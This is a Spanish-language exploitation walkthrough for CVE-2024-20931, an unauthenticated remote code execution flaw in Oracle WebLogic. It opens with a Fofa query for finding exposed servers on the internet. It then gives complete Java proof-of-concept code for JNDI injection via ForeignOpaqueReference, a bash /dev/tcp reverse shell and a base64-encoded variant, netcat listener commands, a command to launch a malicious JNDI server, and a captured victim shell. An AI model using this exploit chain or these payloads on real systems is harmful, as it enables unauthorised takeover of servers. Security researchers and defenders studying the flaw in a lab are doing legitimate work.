Oracle WebLogic Server es una plataforma robusta utilizada para desarrollar, desplegar y gestionar aplicaciones Java empresariales.
En su ciclo de parches de enero de 2024, Oracle abordó una vulnerabilidad crítica de ejecución remota de código (RCE) identificada como CVE-2024-20931. Este fallo de seguridad está relacionado con una corrección incompleta de la vulnerabilidad CVE-2023-21839 y reside en los protocolos T3/IIOP de WebLogic. Un atacante no autenticado puede explotar esta debilidad a través de la red, obteniendo control total sobre la instancia de Oracle WebLogic Server afectada.
Versiones Afectadas
- 12.2.1.4.0
- 14.1.1.0.0
Identificación de Objetivos con Fofa
Para localizar posibles objetivos de WebLogic Server expuestos en internet, se puede utilizar la siguiente consulta de Fofa:
((body="Welcome to WebLogic Server") || (title="Error 404--Not Found") || (((body="BEA WebLogic Server" || server="Weblogic" || body="content=\"WebLogic Server" || body="Welcome to Weblogic Application" || body="BEA WebLogic Server") && header!="couchdb" && header!="boa" && header!="RouterOS" && header!="X-Generator: Drupal") || (banner="Weblogic" && banner!="couchdb" && banner!="drupal" && banner!="Apache,Tomcat,Jboss" && banner!="ReeCam IP Camera" && banner!="Blog Comments")) || (port="7001" && protocol=="weblogic"))
Preparación del Entorno
Para replicar el entorno vulnerable, se puede emplear el repositorio Vulhub, específicamente el entorno correspondiente a CVE-2023-21839, ya que esta vulnerabilidad es una variante de la anterior. Ejecute los siguientes comandos para iniciar el servidor WebLogic 12.2.1.3:
cd /ruta/a/vulhub/weblogic/CVE-2023-21839
docker compose up -d
Una vez que el servicio esté activo, acceda a la consola de administración de WebLogic en http://su-ip:7001/console para confirmar el funcionamiento. Se recomienda usar Java 1.8.0_402 o superior en la máquina del atacante.
Demostración de Concepto (PoC)
El siguiente código Java demuestra la exlpotación de la vulnerabilidad. Este PoC utiliza la capacidad de inyección JNDI a través del objeto ForeignOpaqueReference de WebLogic para forzar una conexión a un servidor RMI/LDAP malicioso.
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Scanner;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import weblogic.deployment.jms.ForeignOpaqueReference;
public class ExploitationUtility {
public static void main(String[] args) throws NamingException, NoSuchFieldException, SecurityException, IllegalArgumentException, IllegalAccessException {
final String FACTORIA_JNDI = "weblogic.jndi.WLInitialContextFactory";
Scanner entradaUsuario = new Scanner(System.in);
System.out.print("Ingrese la IP del objetivo: ");
String hostObjetivo = entradaUsuario.nextLine();
System.out.print("Ingrese el puerto del objetivo: ");
String puertoObjetivo = entradaUsuario.nextLine();
String direccionServidor = "t3://" + hostObjetivo + ":" + puertoObjetivo;
Hashtable<Object, Object> entornoInicial = new Hashtable<>();
entornoInicial.put("java.naming.factory.initial", FACTORIA_JNDI);
entornoInicial.put("java.naming.provider.url", direccionServidor);
InitialContext contexto = new InitialContext(entornoInicial);
System.out.print("Ingrese la dirección RMI/LDAP del atacante (ej: ip:puerto/ruta): ");
String jndiPayload = entradaUsuario.nextLine();
Hashtable<Object, Object> entornoAtaque = new Hashtable<>();
entornoAtaque.put("java.naming.factory.initial", "oracle.jms.AQjmsInitialContextFactory");
entornoAtaque.put("datasource", "ldap://" + jndiPayload);
ForeignOpaqueReference referenciaRemota = new ForeignOpaqueReference();
// Acceder y modificar el campo jndiEnvironment
Field campoEntornoJndi = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
campoEntornoJndi.setAccessible(true);
campoEntornoJndi.set(referenciaRemota, entornoAtaque);
// Acceder y modificar el campo remoteJNDIName
Field campoNombreJndiRemoto = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
campoNombreJndiRemoto.setAccessible(true);
String urlLdap = "ldap://" + jndiPayload;
campoNombreJndiRemoto.set(referenciaRemota, urlLdap);
// Enlazar el objeto malicioso y luego intentar buscarlo para activar la interacción JNDI
contexto.rebind("maliciousObject", referenciaRemota);
try {
contexto.lookup("maliciousObject");
} catch (Exception e) {
// Se espera una excepción si el servidor LDAP no responde o la interacción es bloqueada después de la inyección
System.out.println("Interacción JNDI intentada. Posiblemente se activó la carga remota.");
}
entradaUsuario.close();
}
}
Verificación con DNSLog
Para una detección pasiva y verificación inicial de la vulnerabilidad, se puede usar un servicio DNSLog como dnslog.cn o dnslog.org. Obtenga un subdominio único y úselo como la dirección RMI/LDAP en el PoC. Por ejemplo, si su subdominio es xxx.dnslog.pp.ua, la dirección sería xxx.dnslog.pp.ua/mt.
java -jar CVE-2024-20931.jar
# Por favor, ingrese la IP del objetivo: [IP_VICTIMA]
# Por favor, ingrese el puerto del objetivo: 7001
# Por favor, ingrese la dirección RMI del atacante (ip:puerto/exp): xxx.dnslog.pp.ua/mt
Si la explotación es exitosa, se registrará una consulta DNS en su panel de DNSLog.
Obtención de una Shell Inversa
Para una explotación completa que permita la ejecución de comandos arbitrarios, se configurará una shell inversa.
1. Generación del Payload para la Shell Inversa
Se puede usar una herramienta generadora de shells inversas para crear el comando adecuado. Un ejemplo de payload en Bash para una shell inversa es:
bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1
Para evitar problemas con caracteres especiales y la ejecución, se recomienda codificar este comando en Base64:
bash -c {echo,PAYLOAD_BASE64}|{base64,-d}|{bash,-i}
Donde PAYLOAD_BASE64 es la versión Base64 del comando anterior. Por ejemplo, si la IP del atacante es 172.16.0.10, el payload codificado podría ser similar a YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMC4xMC80NDQ0IDA+JjE=.
2. Configuración del Listener Netcat en la Máquina del Atacante
Inicie un listener en el puerto especificado (ej. 4444) en su máquina para recibir la conexión de la shell inversa. En sistemas macOS/Linux:
- macOS:
nc -l -vv 4444 - Linux:
nc -lvvp 4444
3. Lanzamiento del Servidor JNDI Malicioso
Utilice una herramienta como JNDI-Injectino-Exploit para configurar un servidor RMI/LDAP que sirva el payload de la shell inversa. Asegúrese de especificar el comando codificado y la IP de su máquina:
java -jar "JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar" -C "bash -c {echo,PAYLOAD_BASE64}|{base64,-d}|{bash,-i}" -A "IP_ATACANTE"
Este comando iniciará el servidor malicioso, que generará URLs para el payload JNDI (ej. ldap://IP_ATACANTE:1389/xxxxxx).
4. Ejecución del Exploit
Ahora, ejecute el PoC de WebLogic utilizando la dirección RMI/LDAP proporcionada por el servidor JNDI malicioso:
java -jar CVE-2024-20931.jar
# Por favor, ingrese la IP del objetivo: [IP_VICTIMA]
# Por favor, ingrese el puerto del objetivo: 7001
# Por favor, ingrese la dirección RMI del atacante (ip:puerto/exp): IP_ATACANTE:1389/xxxxxx
5. Verificación de la Shell Inversa
Si la explotación es exitosa, su listener Netcat debería recibir la conexión, proporcionándole una shell en el sistema de la víctima:
nc -l -vv 4444
# bash: no job control in this shell
# [oracle@117c5fc6287d base_domain]$ whoami
# oracle
# [oracle@117c5fc6287d base_domain]$ ls
# autodeploy
# bin
# common
# config
# console-ext
# derby.log
# edit.lok
# fileRealm.properties
# init-info
# lib
# nodemanager
# orchestration
# security
# servers
# startWebLogic.sh